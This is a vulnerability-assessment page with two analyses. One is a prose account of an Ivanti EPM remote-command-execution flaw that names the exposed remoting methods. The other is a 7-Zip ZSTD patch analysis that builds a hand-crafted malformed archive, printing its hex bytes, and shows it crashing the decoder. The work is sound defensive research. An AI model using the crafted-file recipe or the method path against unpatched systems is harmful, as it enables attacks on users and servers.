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Technical Analysis
CVE-2023-28324 is an unauthenticated RCE affecting Ivanti EPM versions 2022 SU2 and prior. It was noted by Ivanti on June 7th, 2023 and later analyzed by Horizon3. The root cause of the vulnerability is an exposed .NET remoting method that can be used to execute an arbitrary OS command on the affected server. The .NET remoting service changes it’s port on each boot and they are typically unprivileged, high ports that are used. An attacker would need to scan high TCP port ranges to identify a listening service.
Once found however, the attacker can invoke Request method on the LANDesk.AgentPortal.IAgentPortal service to execute an arbitrary command. Likewise, the GetResult method can be used to obtain the command output. The command is executed in the context of NT AUTHORITY\SYSTEM. A medium attacker value was selected due to the requirement of finding and connecting to the service. The high, unprivileged port is very unlikely to be available on an external network, making this vulnerability primarily useful from an internal network perspective. As is the case with most command execution vulnerabilities, exploitation is very reliable and the target service is unlikely to crash even if the binary to run does not exist.
As noted in the Horizon3 analysis, the patch addresses the vulnerability by restricting what commands can be run to a static, predetermined set of values.
- Government or Industry Alert
- Other: Intelligence report shared (https://ccb.belgium.be/)
- Government or Industry Alert (https://www.trendmicro.com/en_us/research/24/k/lodeinfo-campaign-of-earth-kasha.html)
- Government or Industry Alert (https://www.trendmicro.com/en_us/research/24/k/lodeinfo-campaign-of-earth-kasha.html)
- Government or Industry Alert (https://www.trendmicro.com/en_us/research/24/k/lodeinfo-campaign-of-earth-kasha.html)
- News Article or Blog (https://censys.com/cve-2024-51378/)
Technical Analysis
Update: Nov 27, 2024 – Added an example of how to generate and reach the suspicious code path that was patched.
Ratings
This vulnerability was introduced into 7zip in version 24.05 (released circa May 15, 2024), and then fixed in version 24.07 (released circa June 19, 2024), so therefore the vulnerability was only present in two releases over a 1 month period. This should greatly limit the impact of the vulnerability, and I have rated the attacker value as Very Low because of this. I have tagged this vulnerability Vulnerable in default configuration, as no additional configuration is required if running a vulnerable version 24.05 or 24.06.
I have tagged this vulnerability as Requires user interaction, as when using the UI, a user must extract a file from a malicious ZSTD archive, rather than just view or open the file. We should note however that 7zip may be used as either a library or console application in a pipeline on some Linux-like systems, and in that context, may extract files automatically (e.g. if inspecting the contents of compressed archives as part of the pipeline).
This vulnerability appears to lead to heap based memory corruption, which is difficult to exploit in many scenarios, especially in a client-side file-format scenario. On Windows, while 7zip does enable the ASLR and DEP mitigations, newer mitigation such as CFG and CET are not enabled. While exploitation of this vulnerability may be non-trivial, it cannot be ruled out. There is no known exploit code currently available. Therefore I have rated the exploitability as Very Low and tagged it as Difficult to weaponize.
The Patch
We know the vulnerability affects the 7zip implementation of Zstandard decompression (see RFC 8878), and the advisory states that version 24.07 patches the vulnerability. If we inspect the code changes between version 24.06 and 24.07, the below change to the file C/ZstdDec.c stands out.
C:\Users\sfewer\Desktop\7zipOverflow\7zip>git diff 24.06..24.07 C\ZstdDec.c diff --git a/C/ZstdDec.c b/C/ZstdDec.c index ac159d6..6ad47eb 100644 --- a/C/ZstdDec.c +++ b/C/ZstdDec.c @@ -1,5 +1,5 @@ /* ZstdDec.c -- Zstd Decoder -2024-05-26 : the code was developed by Igor Pavlov, using Zstandard format +2024-06-18 : the code was developed by Igor Pavlov, using Zstandard format specification and original zstd decoder code as reference code. original zstd decoder code: Copyright (c) Facebook, Inc. All rights reserved. This source code is licensed under BSD 3-Clause License. @@ -1308,8 +1308,10 @@ FSE_Decode_SeqTable(CFseRecord * const table, in->len--; { const Byte *ptr = in->ptr; - const Byte sym = ptr[0]; + const unsigned sym = ptr[0]; in->ptr = ptr + 1; + if (sym >= numSymbolsMax) + return SZ_ERROR_DATA; table[0] = (FastInt32)sym #if defined(Z7_ZSTD_DEC_USE_ML_PLUS3) + (numSymbolsMax == NUM_ML_SYMBOLS ? MATCH_LEN_MIN : 0)
The function FSE_Decode_SeqTable has been patched to ensure a value sym, which is read from some input, is not greater or equal to a maximum value called numSymbolsMax. Additionally, the data type of sym has been changed from Byte to unsigned.
The addition of a check against a max value is suspicious, as is the change in data type when we see that sym is later cast to a type FastInt32. Although upon inspection, both Byte and FastInt32 appear to be unsigned data types, so I would not expect sign extension to occur here when casting.
To explore the patch further, we will build a test cast to reach this code path.
Building 7zip
We will create a Debug build of the 7zip File Manager UI application on Windows. This will allow us to do source level debugging in WinDbg later on.
First we checkout the 7zip source code and switch to a vulnerable branch for version 24.06.
C:\Users\sfewer\Desktop\7zipOverflow>git clone https://github.com/ip7z/7zip C:\Users\sfewer\Desktop\7zipOverflow>cd 7zip C:\Users\sfewer\Desktop\7zipOverflow\7zip>git checkout 24.06 C:\Users\sfewer\Desktop\7zipOverflow\7zip>git status HEAD detached at 24.06
To create debug build, we need to modify a single make file (thanks to this StackOverflow question).
diff --git a/CPP/Build.mak b/CPP/Build.mak index afb7ae8..93a383d 100644 --- a/CPP/Build.mak +++ b/CPP/Build.mak @@ -69,7 +69,7 @@ CFLAGS_WARN_LEVEL = -W4 CFLAGS_WARN_LEVEL = -Wall !ENDIF -CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ $(CFLAGS_WARN_LEVEL) -WX -EHsc -Gy -GR- -GF +CFLAGS = $(CFLAGS) -nologo -c -Fo$O/ $(CFLAGS_WARN_LEVEL) -WX -EHsc -Gy -GR- -GF /Zi !IF "$(CC)" == "clang-cl" @@ -132,13 +132,13 @@ CFLAGS = $(CFLAGS) -D_ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE !ENDIF !IF "$(PLATFORM)" == "x64" -CFLAGS_O1 = $(CFLAGS) -O1 +CFLAGS_O1 = $(CFLAGS) -Od !ELSE -CFLAGS_O1 = $(CFLAGS) -O1 +CFLAGS_O1 = $(CFLAGS) -Od !ENDIF -CFLAGS_O2 = $(CFLAGS) -O2 +CFLAGS_O2 = $(CFLAGS) -Od -LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF -INCREMENTAL:NO +LFLAGS = $(LFLAGS) -nologo -OPT:REF -OPT:ICF -INCREMENTAL:NO /DEBUG !IFNDEF UNDER_CE LFLAGS = $(LFLAGS) /LARGEADDRESSAWARE
With the make file modified to generate a debug build, we open up an x64 Native Tools Command Prompt for Visual Studio and issue an nmake command.
C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip>nmake
The vulnerable decompression code is located in the 7z.dll binary. We copy the build artifacts 7z.dll, 7z.pdb, 7zFM.exe, 7zFM.pdb to a separate folder to ensure they load (we also had 7zip installed locally via an MSI installer). We can then launch the UI via the 7zFM.exe executable.
Generating a ZSTD file
As the Zstandard algorithm was originally developed by Meta, we can generate a valid ZSTD compressed file using the reference implementation.
We clone and build the reference implementation, and then use the zstd tool to compress a file that contains 1024 letter A characters.
sfewer@sfewer-ubuntu-vm:~/Desktop$ git clone https://github.com/facebook/zstd Cloning into 'zstd'... remote: Enumerating objects: 61600, done. remote: Counting objects: 100% (49/49), done. remote: Compressing objects: 100% (37/37), done. remote: Total 61600 (delta 16), reused 41 (delta 12), pack-reused 61551 (from 1) Receiving objects: 100% (61600/61600), 38.02 MiB | 31.86 MiB/s, done. Resolving deltas: 100% (46033/46033), done. sfewer@sfewer-ubuntu-vm:~/Desktop$ cd zstd/ sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ make make[1]: Entering directory '/home/sfewer/Desktop/zstd/lib' CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/debug.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/entropy_common.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/error_private.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/fse_decompress.o CC obj/conf_6dfaa674569dd42c9d9861c915b0e7c2/static/pool.o ...snip... CC obj/conf_20daa47e8058f816896e54abab38685b/zstdcli.o CC obj/conf_20daa47e8058f816896e54abab38685b/zstdcli_trace.o ==> building with threading support ==> building zstd with .gz compression support ==> building zstd with .xz/.lzma compression support ==> no liblz4, building zstd without .lz4 support LINK obj/conf_20daa47e8058f816896e54abab38685b/zstd zstd build completed make[1]: Leaving directory '/home/sfewer/Desktop/zstd/programs' sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ ./zstd --version *** Zstandard CLI (64-bit) v1.5.7, by Yann Collet *** sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ ./zstd ~/Desktop/A.txt /home/sfewer/Desktop/A.txt : 2.34% ( 1.000 KiB => 24 B, /home/sfewer/Desktop/A.txt.zst)
We can examine what a valid ZSTD file looks like:
sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ xxd ~/Desktop/A.txt.zst 00000000: 28b5 2ffd 6400 0355 0000 1841 410a 0100 (./.d..U...AA... 00000010: fa2b 8005 33ac 8ae1 .+..3... sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$
Reaching the vulnerable code path
By setting a breakpoint in WinDbg, we can observe that some data from our test file is processed by 7z!FSE_Decode_SeqTable.
0:007> bp 7z!FSE_Decode_SeqTable *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7z.dll 0:007> g Breakpoint 0 hit 7z!FSE_Decode_SeqTable: 00007ff9`c1e1ffd0 4c894c2420 mov qword ptr [rsp+20h],r9 ss:000000ba`080ff3e8=0000000000020110 0:007> t 7z!FSE_Decode_SeqTable+0x18: 00007ff9`c1e1ffe8 83bc249000000002 cmp dword ptr [rsp+90h],2 ss:000000ba`080ff400=00000000 0:007> k # Child-SP RetAddr Call Site 00 000000ba`080ff370 00007ff9`c1e2229b 7z!FSE_Decode_SeqTable+0x18 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 1284] 01 000000ba`080ff3d0 00007ff9`c1e23819 7z!ZstdDec1_DecodeBlock+0x81b [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2531] 02 000000ba`080ff4d0 00007ff9`c1e22b41 7z!ZstdDec_DecodeBlock+0x709 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3442] 03 000000ba`080ff5e0 00007ff9`c1dd6569 7z!ZstdDec_Decode+0x2c1 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3737] 04 000000ba`080ff6c0 00007ff9`c1cec350 7z!NCompress::NZstd::CDecoder::Code+0x159 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Compress\ZstdDecoder.cpp @ 164] *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7zFM.exe 05 000000ba`080ff750 00007ff6`0acb66e0 7z!NArchive::NZstd::CHandler::Extract+0x440 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Archive\ZstdHandler.cpp @ 821] 06 000000ba`080ff910 00007ff6`0acc3343 7zFM!CAgentFolder::Extract+0x630 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\Agent.cpp @ 1555] 07 000000ba`080ffad0 00007ff6`0acf4da6 7zFM!CAgentFolder::CopyTo+0x193 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\ArchiveFolder.cpp @ 46] 08 000000ba`080ffb80 00007ff6`0ad21de0 7zFM!CPanelCopyThread::ProcessVirt+0x536 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\PanelCopy.cpp @ 112] 09 000000ba`080ffcb0 00007ff6`0ad2093d 7zFM!CProgressThreadVirt::Process+0x40 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1425] 0a 000000ba`080ffd80 00007ff6`0ad370fe 7zFM!MyThreadFunction+0x1d [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1393] 0b 000000ba`080ffdc0 00007ff9`f0cd259d 7zFM!thread_start<unsigned int (__cdecl*)(void *),1>+0x5a [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 97] 0c 000000ba`080ffdf0 00007ff9`f1c6af38 KERNEL32!BaseThreadInitThunk+0x1d 0d 000000ba`080ffe20 00000000`00000000 ntdll!RtlUserThreadStart+0x28
Inspecting the contents on the in structure, we see several bytes that correspond to bytes from the test case file (at offset 16).
0:007> dt in Local var @ 0xba080ff3d8 Type CInBufPair* 0x000000ba`080ff430 +0x000 ptr : 0x00000248`50970010 "???" +0x008 len : 4 0:007> db 0x00000248`50970010 L8 00000248`50970010 fa 2b 80 05 33 ac 8a e1 .+..3...
The caller to 7z!FSE_Decode_SeqTable is 7z!ZstdDec1_DecodeBlock. We can inspect the call site and see the seqMode variable originated 1 byte before the remaining data in the in structure. In our test case this byte was 0x00.
mode = *in.ptr++; if (mode & 3) // Reserved bits return SZ_ERROR_DATA; seqMode = (mode >> 6); if (seqMode == k_SeqMode_Repeat) { if (!IS_SEQ_TABLES_WERE_SET(p)) return SZ_ERROR_DATA; } else RINOK(FSE_Decode_SeqTable( p->fse.ll, &in, 6, // predefAccuracy &p->ll_accuracy, NUM_LL_SYMBOLS, k_PredefRecords_LL, seqMode))
Upon inspecting RFC8878, we learn that this seqMode variable represents Symbol_Compression_Modes, and to reach the vulnerable code path, we must set this mode to be RLE_Mode. As there are 3 different tables that are processed, the mode can be set 3 times, left shifted by 2 bits for each mode, and with the low 2 bits cleared. Therefore we patch our test case to have a Symbol_Compression_Modes value of 0x54 which is 01010100 in binary. The will give us a Literal_Lengths_Mode (LL) of RLE_Mode, a Offsets_Mode (OM) of RLE_Mode, and a Match_Lengths_Mode (ML) of RLE_Mode. So when 7z!ZstdDec1_DecodeBlock processes the current block, it will call 7z!FSE_Decode_SeqTable once for each table (LL, OM, and ML), and reach the code that was patched. If the mode is not set to RLE_Mode, the patched code path is not reached. As we know the patched function will read a single byte, and write that value to the corresponding table, we patch our testcase to have 3 consecutive 0xFF bytes.
The resulting test case looks like this.
sfewer@sfewer-ubuntu-vm:~/Desktop/zstd[dev]$ xxd ~/Desktop/A.txt.zst 00000000: 28b5 2ffd 6400 0355 0000 1841 410a 0154 (./.d..U...AA..T 00000010: ffff ff05 33ac 8ae1 ....3...
The result of decompressing this file in 7zipFM.exe, is the following read access violation
(24fc.2420): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7z.dll 7z!Decompress_Sequences+0x73c: 00007ff9`c1e1f52c 488b00 mov rax,qword ptr [rax] ds:000001da`28faffec=???????????????? 0:007> k # Child-SP RetAddr Call Site 00 00000072`0baff320 00007ff9`c1e22438 7z!Decompress_Sequences+0x73c [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2210] 01 00000072`0baff4d0 00007ff9`c1e23819 7z!ZstdDec1_DecodeBlock+0x9b8 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 2617] 02 00000072`0baff5d0 00007ff9`c1e22b41 7z!ZstdDec_DecodeBlock+0x709 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3442] 03 00000072`0baff6e0 00007ff9`c1dd6569 7z!ZstdDec_Decode+0x2c1 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\C\ZstdDec.c @ 3737] 04 00000072`0baff7c0 00007ff9`c1cec350 7z!NCompress::NZstd::CDecoder::Code+0x159 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Compress\ZstdDecoder.cpp @ 164] *** WARNING: Unable to verify checksum for C:\Users\sfewer\Desktop\7zipOverflow\debug\7zFM.exe 05 00000072`0baff850 00007ff6`0acb66e0 7z!NArchive::NZstd::CHandler::Extract+0x440 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\Archive\ZstdHandler.cpp @ 821] 06 00000072`0baffa10 00007ff6`0acc3343 7zFM!CAgentFolder::Extract+0x630 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\Agent.cpp @ 1555] 07 00000072`0baffbd0 00007ff6`0acf4da6 7zFM!CAgentFolder::CopyTo+0x193 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\Agent\ArchiveFolder.cpp @ 46] 08 00000072`0baffc80 00007ff6`0ad21de0 7zFM!CPanelCopyThread::ProcessVirt+0x536 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\PanelCopy.cpp @ 112] 09 00000072`0baffdb0 00007ff6`0ad2093d 7zFM!CProgressThreadVirt::Process+0x40 [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1425] 0a 00000072`0baffe80 00007ff6`0ad370fe 7zFM!MyThreadFunction+0x1d [C:\Users\sfewer\Desktop\7zipOverflow\7zip\CPP\7zip\UI\FileManager\ProgressDialog2.cpp @ 1393] 0b 00000072`0baffec0 00007ff9`f0cd259d 7zFM!thread_start<unsigned int (__cdecl*)(void *),1>+0x5a [minkernel\crts\ucrt\src\appcrt\startup\thread.cpp @ 97] 0c 00000072`0baffef0 00007ff9`f1c6af38 KERNEL32!BaseThreadInitThunk+0x1d 0d 00000072`0bafff20 00000000`00000000 ntdll!RtlUserThreadStart+0x28
Further manipulation of the test case file, showed that 7z!Decompress_Sequences may crash in several different locations, however I could not make a test case file that caused a write access violation.
A nice analysis has been posted here: https://github.com/TheN00bBuilder/cve-2024-11477-writeup/blob/main/CVE-2024-11477-Writeup.md
The author reproduces the vuln, and generates a write access violation. The author also questions the ability of leveraging the vuln for code execution.